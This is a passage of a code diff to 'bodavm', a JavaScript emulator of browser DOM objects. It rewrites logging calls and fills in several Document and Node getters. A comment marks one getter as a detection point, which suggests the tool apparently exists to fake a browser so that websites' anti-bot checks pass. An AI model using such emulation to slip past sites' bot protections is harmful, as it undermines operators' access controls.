console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) bodavm.memory.collection[tagName].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection[tagName]._boarg = taglist - console.log(`Document_getElementsByTagName `, `tagName->${tagName} `, ` taglist->${taglist}`); + console.log_copy(`Document_getElementsByTagName `, `tagName->${tagName} `, ` taglist->${taglist}`); bodavm.memory.collection[tagName].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; // taglist._boisinit=true return bodavm.memory.collection[tagName] @@ -3933,11 +4190,12 @@ bodavm.memory.Performance={ bodavm.envFunc.Document_cookie_get = function Document_cookie_get() { // debugger if (this._contentiframe){ - console.log(`iframe下的document获取cookie,直接返回''`); + console.log_copy(`iframe下的document获取cookie,直接返回''`); return '' } let jsonCookie = bodavm.memory.globalInit.jsonCookie; - let tempCookie = ""; + + let tempCookie =""; // debugger for (var key in jsonCookie) { if (key =='hasOwnProperty_bo'){continue} @@ -3948,11 +4206,12 @@ bodavm.memory.Performance={ } } // cookie=bodaobj.document.cookie - console.log(`Document_cookie_get `, `cookie -> ${tempCookie}`); + console.log_copy(`Document_cookie_get `, `cookie -> ${tempCookie}`); return tempCookie; } bodavm.envFunc.Document_cookie_set = function Document_cookie_set() { let cookieValue = arguments[0]; + debugger let index = cookieValue.indexOf(";"); if (index !== -1) { cookieValue = cookieValue.substring(0, index); @@ -3966,25 +4225,28 @@ bodavm.memory.Performance={ bodavm.memory.globalInit.jsonCookie[k] = v; } // bodaobj.document.cookie=cookieValue - console.log(`Document_cookie_set `, `cookie -> ${cookieValue}`); + console.log_copy(`Document_cookie_set `, `cookie -> ${cookieValue}`); return cookieValue } bodavm.envFunc.document_location_get = function document_location_get() { if (bodavm.config.isdebug) { debugger } - console.log(`document_location_get== `, `Location `); - return bodaobj.document.location; + let location_ = bodavm.memory.globalobj.location + location_._boarg= bodaobj.window['location'] + + console.log_copy(`document_location_get `, `location_->`, location_); + return location_ } bodavm.envFunc.Document_characterSet_get = function Document_characterSet_get() { let characterSet = bodaobj.document['characterSet'] - console.log(`Document_characterSet_get `, `${characterSet} `); + console.log_copy(`Document_characterSet_get `, `${characterSet} `); if (bodavm.config.isdebug) { debugger };; return characterSet } bodavm.envFunc.Document_charset_get = function Document_charset_get() { let charset = bodaobj.document['charset'] - console.log(`Document_characterSet_get `, `${charset} `); + console.log_copy(`Document_characterSet_get `, `${charset} `); if (bodavm.config.isdebug) { debugger };; return charset @@ -3994,27 +4256,27 @@ bodavm.memory.Performance={ let title = arguments[0] bodaobj.document["title"] = title - console.log(`Document_title_set `, `${title} `) + console.log_copy(`Document_title_set `, `${title} `) if (bodavm.config.isdebug) { debugger };; return title } bodavm.envFunc.Document_title_get = function Document_title_get() { let title = bodaobj.document["title"] - console.log(`Document_title_get `, `${title} `) + console.log_copy(`Document_title_get `, `${title} `) return title } bodavm.envFunc.Document_dir_set = function Document_dir_set() { let dir = arguments[0] bodaobj.document["dir"] = dir - console.log(`Document_dir_set `, `${dir} `) + console.log_copy(`Document_dir_set `, `${dir} `) if (bodavm.config.isdebug) { debugger };; return dir } bodavm.envFunc.Document_dir_get = function Document_dir_get() { let dir = bodaobj.document["dir"] - console.log(`Document_dir_get `, `${dir} `) + console.log_copy(`Document_dir_get `, `${dir} `) if (bodavm.config.isdebug) { debugger };; return dir @@ -4023,13 +4285,13 @@ bodavm.memory.Performance={ bodavm.envFunc.Document_designMode_set = function Document_designMode_set() { let designMode = arguments[0] bodaobj.document["designMode"] = designMode - console.log(`Document_designMode_set `, `${designMode} `) + console.log_copy(`Document_designMode_set `, `${designMode} `) if (bodavm.config.isdebug) { debugger } return designMode } bodavm.envFunc.Document_designMode_get = function Document_designMode_get() { let designMode = bodaobj.document["designMode"] - console.log(`Document_designMode_get `, `${designMode} `) + console.log_copy(`Document_designMode_get `, `${designMode} `) if (bodavm.config.isdebug) { debugger } return designMode } @@ -4045,7 +4307,7 @@ bodavm.memory.Performance={ // res._boarg=html res._boisinit=bodavm.config.isinit - console.log(`Document_documentElement_get `, `html->${res} `); + console.log_copy(`Document_documentElement_get `, `html->${res} `); return res } @@ -4054,7 +4316,7 @@ bodavm.memory.Performance={ bodavm.envFunc.Document_hidden_get = function Document_hidden_get() { let hidden = bodaobj.document['hidden'] - console.log(`Document_hidden_get `, `${hidden} `); + console.log_copy(`Document_hidden_get `, `${hidden} `); if (bodavm.config.isdebug) { debugger };; return hidden @@ -4063,27 +4325,27 @@ bodavm.memory.Performance={ bodavm.envFunc.Document_documentURI_get = function Document_documentURI_get() { if (bodavm.config.isdebug) { debugger } let documentURI = bodaobj.document["documentURI"] - console.log(`Document_documentURI_get `, `${documentURI} `); + console.log_copy(`Document_documentURI_get `, `${documentURI} `); return documentURI } bodavm.envFunc.Document_compatMode_get = function Document_compatMode_get() { if (bodavm.config.isdebug) { debugger } let compatMode = bodaobj.document["compatMode"] - console.log(`Document_compatMode_get `, `${compatMode} `); + console.log_copy(`Document_compatMode_get `, `${compatMode} `); return compatMode } bodavm.envFunc.Document_onmousemove_get = function Document_onmousemove_get() { if (bodavm.config.isdebug) { debugger } let onmousemove = bodaobj.document['onmousemove'] - console.log(`Document_onmousemove_get `, `onmousemove->${onmousemove} `); + console.log_copy(`Document_onmousemove_get `, `onmousemove->${onmousemove} `); return onmousemove } bodavm.envFunc.Document_onselectionchange_get = function Document_onselectionchange_get() { if (bodavm.config.isdebug) { debugger } let onselectionchange = bodaobj.document['onselectionchange'] - console.log(`Document_onselectionchange_get `, `onselectionchange->${onselectionchange} `); + console.log_copy(`Document_onselectionchange_get `, `onselectionchange->${onselectionchange} `); return onselectionchange } @@ -4094,7 +4356,7 @@ bodavm.memory.Performance={ res = bodavm.toolsFunc.setProto('html') res._boarg = html // return onselectionchange - console.log(`Document_scrollingElement_get==> `, `html->${html}`); + console.log_copy(`Document_scrollingElement_get==> `, `html->${html}`); return html } @@ -4102,7 +4364,7 @@ bodavm.memory.Performance={ //HTMLDivElement bodavm.envFunc.HTMLDivElement_align_get = function HTMLDivElement_align_get() { let align = bodavm.memory.htmldivelement['align'] - console.log(`HTMLDivElement_align_get `, `${align} `) + console.log_copy(`HTMLDivElement_align_get `, `${align} `) if (bodavm.config.isdebug) { debugger };; return align @@ -4110,7 +4372,7 @@ bodavm.memory.Performance={ bodavm.envFunc.HTMLDivElement_align_set = function HTMLDivElement_align_set() { let value = arguments[0] bodavm.memory.htmldivelement['align'] = value - console.log(`HTMLDivElement_align_set==> `, `${value} `) + console.log_copy(`HTMLDivElement_align_set==> `, `${value} `) if (bodavm.config.isdebug) { debugger };; return value @@ -4122,13 +4384,13 @@ bodavm.memory.Performance={ // debugger let content = this._boarg.content // let value = self.attr["content"] - console.log(`HTMLMetaElement_content_get `, `content->${content.length > 50 ? content.substr(0, 30) + '...' : content} `); + console.log_copy(`HTMLMetaElement_content_get `, `content->${content.length > 50 ? content.substr(0, 30) + '...' : content} `); return content } bodavm.envFunc.HTMLMetaElement_content_set = function HTMLMetaElement_content_set() { var value = arguments[0] - console.log(`HTMLMetaElement_content_set `, `${value} `) + console.log_copy(`HTMLMetaElement_content_set `, `${value} `) if (bodavm.config.isdebug) { debugger } this['_elements'][0].attr["content"] = value return value @@ -4137,7 +4399,7 @@ bodavm.memory.Performance={ } bodavm.envFunc.HTMLMetaElement_name_set = function HTMLMetaElement_name_set() { var value = arguments[0] - console.log(`HTMLMetaElement_name_set `, `${value} `, `!!!!!!!!!未完善!!!!!!!!!!!!`) + console.log_copy(`HTMLMetaElement_name_set `, `${value} `, `!!!!!!!!!未完善!!!!!!!!!!!!`) this['_elements'][0].attr["name"] = value if (bodavm.config.isdebug) { debugger } @@ -4148,7 +4410,7 @@ bodavm.memory.Performance={ let value = this['_elements'][0].attr["name"] if (bodavm.config.isdebug) { debugger } - console.log(`HTMLMetaElement_name_get `, `${value} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`HTMLMetaElement_name_get `, `${value} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); return value } @@ -4157,7 +4419,7 @@ bodavm.memory.Performance={ // Node_replaceChild bodavm.envFunc.Node_replaceChild = function Node_replaceChild() { debugger - console.log(`Node_replaceChild`, `!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`Node_replaceChild`, `!!!!!!!!!未完善!!!!!!!!!!!!`); } bodavm.envFunc.Node_textContent_get = function Node_textContent_get() { // debugger @@ -4176,28 +4438,31 @@ bodavm.memory.Performance={ }else{ content=this._boarg.textContent } - console.log("Node_textContent_get ", `content ->${content}`, `r6检测点`) + console.log_copy("Node_textContent_get ", `content ->${content}`, `r6检测点`) return content } - bodavm.envFunc.Node_previousSibling_get = function Node_previousSibling_get() { console.log("Node_previousSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Node_ownerDocument_get = function Node_ownerDocument_get() { console.log("Node_ownerDocument_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Node_baseURI_get = function Node_baseURI_get() { console.log("Node_baseURI_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Node_previousSibling_get = function Node_previousSibling_get() { console.log_copy("Node_previousSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Node_ownerDocument_get = function Node_ownerDocument_get() { + res=this._boarg.ownerDocument + console.log_copy("Node_ownerDocument_get ->", `res ->`,res) + } + bodavm.envFunc.Node_baseURI_get = function Node_baseURI_get() { console.log_copy("Node_baseURI_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Node_childNodes_get = function Node_childNodes_get() { // debugger let Nodelists={} Nodelists._boarg=this._boarg.childNodes Nodelists.__proto__=NodeList.prototype - console.log("Node_childNodes_get ->",`-> res->${Nodelists}`) + console.log_copy("Node_childNodes_get ->",`-> res->${Nodelists}`) return Nodelists } - bodavm.envFunc.Node_isConnected_get = function Node_isConnected_get() { console.log("Node_isConnected_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Node_isConnected_get = function Node_isConnected_get() { console.log_copy("Node_isConnected_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Node_nextSibling_get = function Node_nextSibling_get() { // debugger res = bodavm.memory.cache['Node_nextSibling_get'] let _next = this._boarg.nextSibling if (_next == null) { - console.log(`Node_nextSibling_get `, `-> res -> null`); + console.log_copy(`Node_nextSibling_get `, `-> res -> null`); return null } else { res = bodavm.toolsFunc.setProto(_next.nodeName) @@ -4205,23 +4470,23 @@ bodavm.memory.Performance={ res._boisinit=bodavm.config.isinit } - console.log(`Node_nextSibling_get `, `-> res->${res}`); + console.log_copy(`Node_nextSibling_get `, `-> res->${res}`); return res } bodavm.envFunc.Node_nodeType_get = function Node_nodeType_get() { if (bodavm.config.isdebug) { debugger } // debugger let nodetype = this._boarg.nodeType - console.log(`Node_nodeType_get `, `nodetype ->${nodetype}`); + console.log_copy(`Node_nodeType_get `, `nodetype ->${nodetype}`); return nodetype } - bodavm.envFunc.Node_nodeValue_get = function Node_nodeValue_get() { console.log("Node_nodeValue_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Node_nodeValue_get = function Node_nodeValue_get() { console.log_copy("Node_nodeValue_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } bodavm.envFunc.Node_nodeName_get = function Node_nodeName_get() { // debugger nodeName_=this._boarg.nodeName if (bodavm.config.isdebug) { debugger } - console.log(`Node_nodeName_get ->`,` res -> ${ nodeName_}`); + console.log_copy(`Node_nodeName_get ->`,` res -> ${ nodeName_}`); return nodeName_ } bodavm.envFunc.Node_firstChild_get = function Node_firstChild_get() { @@ -4236,7 +4501,7 @@ bodavm.memory.Performance={ } else { res = null } - console.log(`Node_firstChild_get `, `-> res->${res}`); + console.log_copy(`Node_firstChild_get `, `-> res->${res}`); return res @@ -4244,21 +4509,22 @@ bodavm.memory.Performance={ bodavm.envFunc.Node_insertBefore = function Node_insertBefore() { let newNode = arguments[0] let referenceNode = arguments[1] - console.log(`Node_insertBefore `, `!!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`Node_insertBefore `, `!!!!!!!!!未完善!!!!!!!!!!!! `); } bodavm.envFunc.Node_lastChild_get = function Node_lastChild_get() { if (bodavm.config.isdebug) { debugger } - console.log(`Node_lastChild_get `, `lastChild->${lastChild} !!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`Node_lastChild_get `, `lastChild->${lastChild} !!!!!!!!!未完善!!!!!!!!!!!! `); } bodavm.envFunc.Node_cloneNode = function Node_cloneNode() { let mode = arguments[0] - console.log(`Node_cloneNode `, `!!!!!!!!!未完善!!!!!!!!!!!! `); + res=this._boarg.cloneNode(mode) + console.log_copy(`Node_cloneNode ->`, `res ->`,res); - return cloneNode + return res } bodavm.envFunc.Node_parentNode_get = function Node_parentNode_get() { //获取父节点 @@ -4267,7 +4533,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } let parent = this._boarg.parentNode if (bodavm.memory.cache['Node_parentNode_get']['parent']==parent){ - console.log(`Node_parentNode_get parent在bodavm.memory.cache['Node_parentNode_get']['parent']已存在,直接返回`); + console.log_copy(`Node_parentNode_get parent在bodavm.memory.cache['Node_parentNode_get']['parent']已存在,直接返回`); return bodavm.memory.cache['Node_parentNode_get']['res'] } let res=bodavm.memory.cache['Node_parentNode_get']['res'] @@ -4288,7 +4554,7 @@ bodavm.memory.Performance={ res=null } - console.log(`Node_parentNode_get `, `parent->${res} `); + console.log_copy(`Node_parentNode_get `, `parent->${res} `); return res; } bodavm.envFunc.Node_removeChild = function Node_removeChild() { @@ -4298,12 +4564,12 @@ bodavm.memory.Performance={ let child = arguments[0] this._boarg.removeChild(child._boarg) let tagname=child._boarg.nodeName - console.log(`Node_removeChild `, `child->${child}`); + console.log_copy(`Node_removeChild `, `child->${child}`); if (bodavm.memory.collection[tagname]){ for (let i = 0; i < bodavm.memory.collection[tagname].length; i++) { if (child ==bodavm.memory.collection[tagname][i]){ debugger - console.log(`当前对象 tagname:${tagname},child:${child} 存在bodavm.memory.collection ,重置bodavm.memory.collection[${tagname}]`) + console.log_copy(`当前对象 tagname:${tagname},child:${child} 存在bodavm.memory.collection ,重置bodavm.memory.collection[${tagname}]`) bodavm.memory.collection[tagname].__proto__=Array.prototype bodavm.memory.collection[tagname].splice(i,1) bodavm.memory.collection[tagname].__proto__=bodavm.memory.globalobj['HTMLCollection'].prototype @@ -4329,7 +4595,7 @@ bodavm.memory.Performance={ }else{ parent=null } - console.log(`Node_parentElement_get ->`, `parent ->${parent} `); + console.log_copy(`Node_parentElement_get ->`, `parent ->${parent} `); return parent; @@ -4339,6 +4605,10 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger };; // debugger let child = arguments[0] + // debugger + + if (child ==this){ + } if (this instanceof HTMLFormElement) { for (let i = 0; i < bodavm.memory.formlist.length; i++) { if (this._boarg == bodavm.memory.formlist[i]) { @@ -4350,89 +4620,117 @@ bodavm.memory.Performance={ } } + if (child.id && (this==document.body || this ==document.head || this ==document.documentElement)){ + debugger + // eval(window[child.id]=child=new Proxy(child,{ + // deleteProperty(target,propkey){ - this._boarg.appendChild(child._boarg) + // debugger + // console.log(`Node_appendChild window[`,child.id,']',`正在删除属性 target ->`,target,`propkey ->`,propkey); + // return true + // } + // })) + // eval(`${arguments[0]=new Proxy(arguments[0],{})}`) + // window[child.id]=new Proxy(child,{ + + // }) + // window[child.id]= + window[child.id]=child + // window[child.id]=new Proxy(window[child.id],{ + // deleteProperty(){ + // debugger + // } + // }) + + } + try{ + this._boarg.appendChild(child._boarg) + + }catch{ + return bodavm.toolsFunc.throwError('DOMException',`Failed to execute 'appendChild' on 'Node': The new child element contains the parent.`) + + } // bobo$(this._boarg).append(child._boarg) - console.log(`Node_appendChild `, `child->${child}`); + console.log_copy(`Node_appendChild `, `child->${child}`); return child } //Element - bodavm.envFunc.Element_ariaAtomic_get = function Element_ariaAtomic_get() { console.log("Element_ariaAtomic_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaAutoComplete_get = function Element_ariaAutoComplete_get() { console.log("Element_ariaAutoComplete_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaBusy_get = function Element_ariaBusy_get() { console.log("Element_ariaBusy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaChecked_get = function Element_ariaChecked_get() { console.log("Element_ariaChecked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaColCount_get = function Element_ariaColCount_get() { console.log("Element_ariaColCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaDescription_get = function Element_ariaDescription_get() { console.log("Element_ariaDescription_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaCurrent_get = function Element_ariaCurrent_get() { console.log("Element_ariaCurrent_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaColSpan_get = function Element_ariaColSpan_get() { console.log("Element_ariaColSpan_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaColIndex_get = function Element_ariaColIndex_get() { console.log("Element_ariaColIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaDisabled_get = function Element_ariaDisabled_get() { console.log("Element_ariaDisabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaExpanded_get = function Element_ariaExpanded_get() { console.log("Element_ariaExpanded_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaHasPopup_get = function Element_ariaHasPopup_get() { console.log("Element_ariaHasPopup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaHidden_get = function Element_ariaHidden_get() { console.log("Element_ariaHidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaInvalid_get = function Element_ariaInvalid_get() { console.log("Element_ariaInvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaKeyShortcuts_get = function Element_ariaKeyShortcuts_get() { console.log("Element_ariaKeyShortcuts_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaLevel_get = function Element_ariaLevel_get() { console.log("Element_ariaLevel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaLabel_get = function Element_ariaLabel_get() { console.log("Element_ariaLabel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaLive_get = function Element_ariaLive_get() { console.log("Element_ariaLive_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaModal_get = function Element_ariaModal_get() { console.log("Element_ariaModal_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaMultiLine_get = function Element_ariaMultiLine_get() { console.log("Element_ariaMultiLine_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaMultiSelectable_get = function Element_ariaMultiSelectable_get() { console.log("Element_ariaMultiSelectable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaOrientation_get = function Element_ariaOrientation_get() { console.log("Element_ariaOrientation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaPlaceholder_get = function Element_ariaPlaceholder_get() { console.log("Element_ariaPlaceholder_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaPosInSet_get = function Element_ariaPosInSet_get() { console.log("Element_ariaPosInSet_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaPressed_get = function Element_ariaPressed_get() { console.log("Element_ariaPressed_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaReadOnly_get = function Element_ariaReadOnly_get() { console.log("Element_ariaReadOnly_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRequired_get = function Element_ariaRequired_get() { console.log("Element_ariaRequired_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRelevant_get = function Element_ariaRelevant_get() { console.log("Element_ariaRelevant_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRoleDescription_get = function Element_ariaRoleDescription_get() { console.log("Element_ariaRoleDescription_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRowCount_get = function Element_ariaRowCount_get() { console.log("Element_ariaRowCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRowIndex_get = function Element_ariaRowIndex_get() { console.log("Element_ariaRowIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaRowSpan_get = function Element_ariaRowSpan_get() { console.log("Element_ariaRowSpan_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaSelected_get = function Element_ariaSelected_get() { console.log("Element_ariaSelected_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaSort_get = function Element_ariaSort_get() { console.log("Element_ariaSort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaSetSize_get = function Element_ariaSetSize_get() { console.log("Element_ariaSetSize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaValueMax_get = function Element_ariaValueMax_get() { console.log("Element_ariaValueMax_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaValueMin_get = function Element_ariaValueMin_get() { console.log("Element_ariaValueMin_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaValueNow_get = function Element_ariaValueNow_get() { console.log("Element_ariaValueNow_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_ariaValueText_get = function Element_ariaValueText_get() { console.log("Element_ariaValueText_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_assignedSlot_get = function Element_assignedSlot_get() { console.log("Element_assignedSlot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_attributeStyleMap_get = function Element_attributeStyleMap_get() { console.log("Element_attributeStyleMap_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_childElementCount_get = function Element_childElementCount_get() { console.log("ElementCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_classList_get = function Element_classList_get() { console.log("Element_classList_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_className_get = function Element_className_get() { console.log("Element_className_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_elementTiming_get = function Element_elementTiming_get() { console.log("Element_elementTiming_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_firstElementChild_get = function Element_firstElementChild_get() { console.log("ElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_lastElementChild_get = function Element_lastElementChild_get() { console.log("ElementChild_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_localName_get = function Element_localName_get() { console.log("Element_localName_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_namespaceURI_get = function Element_namespaceURI_get() { console.log("Element_namespaceURI_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_nextElementSibling_get = function Element_nextElementSibling_get() { console.log("ElementSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onbeforecopy_get = function Element_onbeforecopy_get() { console.log("Element_onbeforecopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onbeforecut_get = function Element_onbeforecut_get() { console.log("Element_onbeforecut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onbeforepaste_get = function Element_onbeforepaste_get() { console.log("Element_onbeforepaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onfullscreenchange_get = function Element_onfullscreenchange_get() { console.log("Element_onfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onfullscreenerror_get = function Element_onfullscreenerror_get() { console.log("Element_onfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onsearch_get = function Element_onsearch_get() { console.log("Element_onsearch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onwebkitfullscreenchange_get = function Element_onwebkitfullscreenchange_get() { console.log("Element_onwebkitfullscreenchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_onwebkitfullscreenerror_get = function Element_onwebkitfullscreenerror_get() { console.log("Element_onwebkitfullscreenerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_part_get = function Element_part_get() { console.log("Element_part_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_prefix_get = function Element_prefix_get() { console.log("Element_prefix_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_previousElementSibling_get = function Element_previousElementSibling_get() { console.log("ElementSibling_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_scrollHeight_get = function Element_scrollHeight_get() { console.log("Element_scrollHeight_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_shadowRoot_get = function Element_shadowRoot_get() { console.log("Element_shadowRoot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_scrollWidth_get = function Element_scrollWidth_get() { console.log("Element_scrollWidth_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.Element_slot_get = function Element_slot_get() { console.log("Element_slot_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaAtomic_get = function Element_ariaAtomic_get() { console.log_copy("Element_ariaAtomic_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaAutoComplete_get = function Element_ariaAutoComplete_get() { console.log_copy("Element_ariaAutoComplete_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaBusy_get = function Element_ariaBusy_get() { console.log_copy("Element_ariaBusy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaChecked_get = function Element_ariaChecked_get() { console.log_copy("Element_ariaChecked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaColCount_get = function Element_ariaColCount_get() { console.log_copy("Element_ariaColCount_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaDescription_get = function Element_ariaDescription_get() { console.log_copy("Element_ariaDescription_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaCurrent_get = function Element_ariaCurrent_get() { console.log_copy("Element_ariaCurrent_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaColSpan_get = function Element_ariaColSpan_get() { console.log_copy("Element_ariaColSpan_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaColIndex_get = function Element_ariaColIndex_get() { console.log_copy("Element_ariaColIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaDisabled_get = function Element_ariaDisabled_get() { console.log_copy("Element_ariaDisabled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaExpanded_get = function Element_ariaExpanded_get() { console.log_copy("Element_ariaExpanded_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaHasPopup_get = function Element_ariaHasPopup_get() { console.log_copy("Element_ariaHasPopup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaHidden_get = function Element_ariaHidden_get() { console.log_copy("Element_ariaHidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.Element_ariaInvalid_get = function Element_ariaInvalid_get() { console.log_copy("Element_ariaInvalid_get ", 